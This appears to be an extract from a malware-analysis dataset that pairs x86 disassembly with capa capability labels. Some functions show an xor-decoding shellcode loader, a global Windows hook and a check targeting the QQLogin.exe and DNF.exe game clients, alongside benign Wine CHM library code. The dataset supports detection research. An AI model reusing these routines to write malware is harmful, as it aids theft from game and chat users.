joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x40633c
pop dword [ebp - 4]
mov eax, 0x51c71ceb
sub eax, 0x5186b9af
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x56a1d6f9
sub dword [ebp - 0x14], 0x84f91ae
mov dword [ebp - 0x10], 0x6914e8c8
add dword [ebp - 0x10], 0xc91e637d
mov dword [ebp - 0xc], 0xf04ec61e
add dword [ebp - 0xc], 0x5bfd7e10
mov dword [ebp - 8], 0x74e7694b
sub dword [ebp - 8], 0x74e7694b
lea eax, [ebp - 0x14]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x92d2db2b
sub dword [ebp - 0x14], 0x1e6071d5
mov dword [ebp - 0x10], 0xd57ddff9
add dword [ebp - 0x10], 0x6bee817c
mov dword [ebp - 0xc], 0xe78e58ff
sub dword [ebp - 0xc], 0x841eec93
mov dword [ebp - 8], 0x46d7e4a1
add dword [ebp - 8], 0xb9281b5f
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x74d7a546
sub eax, 0x74973446
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3856d
push 0
call eax
mov ecx, 0xf5e89a24
add ecx, 0xa17b4be
xor edx, edx
add edx, eax
mov esi, 0x410000
add esi, dword [ebp - 4]
mov ebx, 0x9e42128a
mov edi, dword [esi]
xor edi, ebx
mov dword [edx], edi
add edx, 4
add esi, 0xa848015
sub esi, 0xa848011
loop 0x40644f
add eax, 0xe14ecd88
sub eax, 0xe14d9f2d
mov ebx, eax
add eax, 0x62926784
add eax, 0x9d6d9881
mov ecx, 0xdaac8d47
add ecx, 0x259372b9
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x10006d61
Capabilities:
Contain obfuscated stackstrings
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100081a8
push 0x10007d96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
pushal
popal
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x20], ebx
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x34], 0x56
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x50
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x63
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], bl
lea ecx, [ebp - 0x34]
push ecx
push eax
jmp loc.1000e41a

Function at 0x10006e99
Capabilities:
Set global application hook

Disassembly:
push 0
push dword [0x1000ad80]
push 0x10006e7e
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [section.tldksods], eax
ret

Function at 0x10006f3e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [ebp + 0xc]
push esi
dec eax
push edi
test eax, eax
jne 0x10007023
mov eax, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push ebx
mov ebx, 0x104
push ebx
push 0x1000adb8
push eax
mov dword [0x1000ad80], eax
call esi
and byte [ebp - 0x104], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
xor edi, edi
push eax
push edi
call esi
lea eax, [ebp - 0x104]
push 0x5c
push eax
call fcn.1000770c
mov esi, eax
push str.mir3.dat
inc esi
push esi
call fcn.1000775c
add esp, 0x10
test eax, eax
pop ebx
je 0x10007013
push str.mir2.dat
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
je 0x10007013
push str.mir4.dat
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
je 0x10007013
push str.mir1.dat
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
je 0x10007013
push str.QQLogin.exe
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
je 0x1000700f
push str.DNF.exe
push esi
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
jne 0x10007023
xor eax, eax
jmp 0x10007026
push edi
push edi
push edi
push 0x1000702c
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 1
pop eax
pop edi
pop esi
leave
ret 0xc
Function at 0x10007110
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and byte [ebp - 9], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
lea eax, [ebp - 0x14]
mov edi, str.Kernel32.dll
push eax
push edi
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x46
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x7a
mov byte [ebp - 0xa], 0x65
call esi
push eax
call fcn.100078a2
pop ecx
mov ebx, eax
pop ecx
dec ebx
push str.CreateFileA
push edi
call esi
push eax
call fcn.100078a2
pop ecx
mov dword [ebp - 4], eax
pop ecx
push str.CloseHandle
push edi
call esi
push eax
call fcn.100078a2
pop ecx
xor esi, esi
pop ecx
mov dword [ebp - 8], eax
push esi
push esi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [ebp - 4]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100071ab
xor eax, eax
jmp 0x100071bd
cmp ebx, esi
je 0x100071b6
push esi
push edi
call ebx
mov dword [ebp + 8], eax
push edi
call dword [ebp - 8]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100071db
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
test edx, edx
jne 0x100071e6
ret
cmp word [edx], 0x5a4d
jne 0x100071fd
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x100071fd
mov eax, dword [ecx + 0x50]
ret
Function at 0x10006dce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [0x100130d8]
lea eax, [ebp - 0x10c]
push 0x10017e10
push eax
call dword [0x100131d8]
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [0x1001316c]
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [0x10013248]
cmp eax, 0x3200000
jae 0x10006e3f
push 2
push esi
push esi
push dword [ebp - 4]
call dword [0x10013164]
push dword [ebp + 8]
mov esi, dword [0x100131e0]
call esi
mov edi, eax
push edi
call fcn.10012896
test edi, edi
pop ecx
mov ebx, eax
jle 0x10006e6a
mov ecx, dword [ebp + 8]
sub ecx, ebx
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec edi
jne 0x10006e5e
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call esi
push eax
push ebx
push dword [ebp - 4]
call dword [0x10013160]
push dword [ebp - 4]
call dword [0x10013228]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001210
Capabilities:
Read file on windows

Disassembly:
push edi
lea edi, [esp + 8]
and esp, 0xfffffff8
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
push esi
mov esi, edx
push ebx
mov ebx, eax
sub esp, 0x38
mov edx, dword [edi + 4]
mov eax, dword [edi]
mov edi, dword [edi + 8]
mov dword [ebp - 0x24], edx
lea edx, [ebx + 4]
mov dword [ebp - 0x20], edx
mov dword [esp], edx
mov dword [ebp - 0x28], eax
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
lea eax, [ebp - 0x18]
mov ecx, dword [sym.imp.kernel32.dll_SetFilePointerEx]
mov dword [ebp - 0x1c], 0
sub esp, 4
mov dword [esp + 0xc], eax
mov eax, dword [ebx]
mov dword [ebp - 0x2c], ecx
mov dword [esp + 0x10], 1
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp], eax
call ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
sub esp, 0x14
mov edx, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [ebp - 0x28], ecx
mov dword [esp + 8], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp], eax
call ecx
lea eax, [ebp - 0x1c]
sub esp, 0x14
mov dword [esp + 0xc], eax
mov eax, dword [ebx]
mov dword [esp + 0x10], 0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_ReadFile]
mov ecx, dword [ebp - 0x28]
sub esp, 0x14
test eax, eax
je 0x10001330
mov esi, dword [ebp - 0x1c]
xor edi, edi
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp + 8], edx
mov dword [esp], eax
call ecx
mov eax, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
mov eax, esi
mov edx, edi
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
lea esp, [edi - 8]
pop edi
ret
xor esi, esi
xor edi, edi
jmp 0x100012e0
Function at 0x10001cd0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov eax, dword fs:[0x18]
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp + 8], 0x500
mov dword [esp + 4], 0
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov esi, dword [ebp + 8]
mov ecx, 0x140
sub esp, 0xc
mov ebx, eax
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0xffffffff
mov eax, dword [eax]
mov dword [esp], 0xffffffff
mov dword [esp + 4], eax
call dword [sym.imp.kernel32.dll_DuplicateHandle]
lea eax, [ebx + 4]
mov esi, dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov dword [ebx + 0x4e8], 0
mov dword [ebx + 0x4f0], 0
sub esp, 0x1c
mov dword [ebx + 0x4f4], 0
mov dword [ebx + 0x4f8], 0
mov dword [esp], eax
call esi
mov eax, dword [ebx + 4]
sub esp, 4
mov dword [eax + 0x18], str._home_runner_build_wine_wine_dlls_itss_chm_lib.c:_chmFile.mutex
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call esi
mov eax, dword [ebx + 0x1c]
sub esp, 4
mov dword [eax + 0x18], str._home_runner_build_wine_wine_dlls_itss_chm_lib.c:_chmFile.lzx_mutex
lea eax, [ebx + 0x34]
mov dword [esp], eax
call esi
mov eax, dword [ebx + 0x34]
sub esp, 4
mov dword [eax + 0x18], str._home_runner_build_wine_wine_dlls_itss_chm_lib.c:_chmFile.cache_mutex
mov eax, ebx
call sym._chm_set_param.part.0.constprop.0
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10001dd0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x10001f34
mov eax, dword [ebx]
cmp eax, 0xffffffff
je 0x10001df7
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebx + 4]
mov esi, dword [sym.imp.kernel32.dll_DeleteCriticalSection]
mov dword [ebx], 0xffffffff
mov dword [eax + 0x18], 0
lea eax, [ebx + 4]
mov dword [esp], eax
call esi
mov eax, dword [ebx + 0x1c]
sub esp, 4
mov dword [eax + 0x18], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call esi
mov eax, dword [ebx + 0x34]
sub esp, 4
mov dword [eax + 0x18], 0
lea eax, [ebx + 0x34]
mov dword [esp], eax
call esi
mov eax, dword [ebx + 0x4e8]
sub esp, 4
test eax, eax
je 0x10001e54
mov dword [esp], eax
call sym._LZXteardown
mov dword [ebx + 0x4e8], 0
mov eax, dword [ebx + 0x4f0]
test eax, eax
je 0x10001ee1
mov edx, dword [ebx + 0x4f8]
test edx, edx
jle 0x10001eb2
xor esi, esi
mov edi, dword fs:[0x18]
nop
lea esi, [esi]
mov eax, dword [eax + esi*4]
mov dword [esp + 4], 0
add esi, 1
mov dword [esp + 8], eax
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [ebx + 0x4f0]
sub esp, 0xc
cmp dword [ebx + 0x4f8], esi
jg 0x10001e80
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov dword [ebx + 0x4f0], 0
sub esp, 0xc
mov eax, dword [ebx + 0x4f4]
mov dword [esp + 4], 0
mov esi, dword fs:[0x18]
mov dword [esp + 8], eax
mov eax, dword [esi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov dword [ebx + 0x4f4], 0
sub esp, 0xc
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov eax, dword [esi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10001f40
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov eax, dword fs:[0x18]
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov edi, dword [ebp + 8]
mov edx, dword [edi + 0x70]
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov esi, eax
mov eax, dword [edi + 0x68]
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x10001fec
jmp 0x1000200a
mov dword [esp + 0xc], ebx
mov ebx, eax
sar ebx, 0x1f
mov dword [esp + 8], edx
mov ecx, ebx
imul ecx, edx
mul edx
add edx, ecx
add eax, dword [edi + 0x50]
adc edx, dword [edi + 0x54]
mov dword [esp + 4], edx
mov edx, esi
mov dword [esp], eax
mov eax, edi
call sym.__chm_fetch_bytes.part.0
mov dword [ebp - 0x14], 0
mov ebx, edx
mov edx, dword [edi + 0x70]
xor ebx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
xor eax, dword [ebp - 0x18]
or ebx, eax
jne 0x1000200a
cmp dword [esi], 0x4c474d50
je 0x10002040
cmp dword [esi], 0x49474d50
jne 0x1000200a
mov ecx, dword [ebp + 0xc]
mov eax, esi
call sym.__chm_find_in_PMGI
cmp eax, 0xffffffff
je 0x1000200a
mov edx, dword [edi + 0x70]
xor ebx, ebx
cmp dword [edi], 0xffffffff
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], edx
jne 0x10001f88
xor eax, eax
xor ebx, ebx
xor eax, dword [ebp - 0x18]
xor ebx, dword [ebp - 0x14]
or ebx, eax
je 0x10001fcd
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, 1
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, esi
call sym.__chm_find_in_PMGL
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000200a
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x10]
call sym.__chm_parse_PMGL_entry
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
xor eax, eax
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10003850
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, 0xffffffff
sub esp, 0xc
mov eax, dword [ebp + 8]
lock xadd dword [eax + 4], ebx
sub ebx, 1
je 0x10003878
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
ret 4
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lock sub dword [section..bss], 1
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
ret 4

Function at 0x10003fc0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
test eax, eax
jne 0x10004060
mov dword [esp + 8], 8
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov dword [eax], sym._ITStorageImpl_QueryInterface_12
sub esp, 0xc
mov ebx, eax
mov dword [eax + 4], 1
test byte [0x1000e018], 8
jne 0x10004030
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
lock add dword [section..bss], 1
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x1001029e
mov dword [esp + 8], str.ITSS_create
mov dword [esp + 4], 0x1000e018
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0
jmp 0x10004012
mov eax, 0x80040110
jmp 0x10004021
Function at 0x10005150
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
lea ecx, [ebp + 8]
mov edi, dword fs:[0x18]
sub esp, 0x14
mov esi, dword [ecx]
mov edx, dword [sym.imp.kernel32.dll_HeapAlloc]
mov dword [esp + 8], 0x5500
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov dword [ebp - 0x18], edx
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov dword [esp], eax
call edx
mov edx, dword [ebp - 0x18]
sub esp, 0xc
mov ebx, eax
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call edx
mov dword [ebx], eax
sub esp, 0xc
test eax, eax
je 0x1000528f
mov eax, dword [ebp - 0x14]
mov dword [ebx + 8], eax
mov dword [ebx + 4], eax
test eax, eax
jle 0x10005285
xor eax, eax
xor edx, edx
mov edi, 1
nop
lea esi, [esi]
movzx ecx, byte [eax + 0x10010740]
mov esi, edi
add eax, 1
shl esi, cl
add edx, esi
cmp dword [ebp - 0x14], edx
jg 0x100051d8
lea eax, [eax*8 + 0x100]
movdqu xmm0, xmmword [0x10010780]
mov dword [ebx + 0x20], 0
lea edx, [ebx + 0x2e34]
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x2c], 0
mov dword [ebx + 0x38], 0
mov dword [ebx + 0x3c], 0
mov word [ebx + 0x1c], ax
xor eax, eax
mov word [ebx + 0x24], ax
lea eax, [ebx + 0x2ba4]
movups xmmword [ebx + 0xc], xmm0
pxor xmm0, xmm0
lea esi, [esi]
movups xmmword [eax], xmm0
add eax, 0x10
cmp eax, edx
jne 0x10005240
lea eax, [ebx + 0x525c]
lea edx, [ebx + 0x534c]
pxor xmm0, xmm0
lea esi, [esi]
movups xmmword [eax], xmm0
add eax, 0x10
cmp eax, edx
jne 0x10005260
lea edx, [ebx + 0x5356]
mov byte [eax], 0
add eax, 1
cmp eax, edx
jne 0x10005270
lea esp, [ebp - 0x10]
mov eax, ebx
pop ecx
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0x100
jmp 0x100051f4
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
jmp 0x1000527a

Function at 0x100052c0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x10005313
mov eax, dword [ebx]
mov dword [esp + 4], 0
mov edi, dword fs:[0x18]
mov dword [esp + 8], eax
mov eax, dword [edi + 0x30]
mov esi, dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call esi
sub esp, 0xc
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call esi
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x10006790
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, 0xffffffff
sub esp, 0xc
mov eax, dword [ebp + 8]
lock xadd dword [eax + 4], ebx
sub ebx, 1
je 0x100067b8
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
ret 4
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lock sub dword [section..bss], 1
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x100067f0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, 0xffffffff
sub esp, 0xc
mov eax, dword [ebp + 8]
lock xadd dword [eax + 4], ebx
sub ebx, 1
je 0x10006818
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
ret 4
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lock sub dword [section..bss], 1
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x10007b00
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
test eax, eax
jne 0x10007ba0
mov dword [esp + 8], 8
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov dword [eax], sym._ITS_IParseDisplayNameImpl_QueryInterface_12
sub esp, 0xc
mov ebx, eax
mov dword [eax + 4], 1
test byte [0x1000e028], 8
jne 0x10007b70
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
lock add dword [section..bss], 1
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.____p_n
mov dword [esp + 8], str.ITS_IParseDisplayName_create
mov dword [esp + 4], 0x1000e028
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_1
jmp 0x10007b52
mov eax, 0x80040110
jmp 0x10007b61

Function at 0x10008380
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, 0xffffffff
push ebx
sub esp, 0x18
mov ebx, dword [ebp + 8]
lock xadd dword [ebx + 0xc], esi
sub esi, 1
test byte [0x1000e038], 8
jne 0x10008400
test esi, esi
jne 0x100083ee
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x100083bb
mov dword [esp], eax
call sym._chm_close
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
mov eax, dword fs:[0x18]
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lock sub dword [section..bss], 1
lea esp, [ebp - 8]
mov eax, esi
pop ebx
pop esi
pop ebp
ret 4
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], str.__p__ref_ld_n
mov dword [esp + 8], str.ITSProtocol_Release
mov dword [esp + 4], 0x1000e038
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_2
jmp 0x100083a1
Function at 0x10009950
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x18
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
test byte [0x1000e038], 8
jne 0x100099d0
lock add dword [section..bss], 1
mov eax, dword fs:[0x18]
mov dword [esp + 8], 0x238
mov dword [esp + 4], 8
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
sub esp, 0xc
test eax, eax
je 0x10009a01
test esi, esi
mov dword [eax], sym._ITSProtocol_QueryInterface_12
cmove esi, eax
mov dword [eax + 4], 0x10011200
mov dword [eax + 8], 0x100111d8
mov dword [eax + 0xc], 1
mov dword [eax + 0x10], esi
mov dword [ebx], eax
xor eax, eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], str.__p__p__n
mov dword [esp + 8], str.ITSProtocol_create
mov dword [esp + 4], 0x1000e038
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_2
jmp 0x10009967
mov eax, 0x8007000e
jmp 0x100099c2

Function at 0x10009b30
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov eax, 0xffffffff
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14
mov ebx, dword [ebp + 8]
lock xadd dword [ebx + 4], eax
sub eax, 1
mov dword [ebp - 0x14], eax
jne 0x10009bbb
mov eax, dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 8]
mov edi, dword fs:[0x18]
mov dword [ebp - 0x10], eax
test esi, esi
je 0x10009b90
lea esi, [esi]
mov eax, esi
mov esi, dword [esi]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
mov dword [ebx + 8], esi
sub esp, 0xc
test esi, esi
jne 0x10009b68
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
sub esp, 0xc
lock sub dword [section..bss], 1
mov eax, dword [ebp - 0x14]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4

Function at 0x10009bd0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
mov ebx, 0xffffffff
sub esp, 0xc
mov esi, dword [ebp + 8]
lock xadd dword [esi + 4], ebx
sub ebx, 1
jne 0x10009c24
mov eax, dword [esi + 8]
mov edx, dword [eax]
mov dword [esp], eax
call dword [edx + 8]
sub esp, 4
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
lock sub dword [section..bss], 1
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 4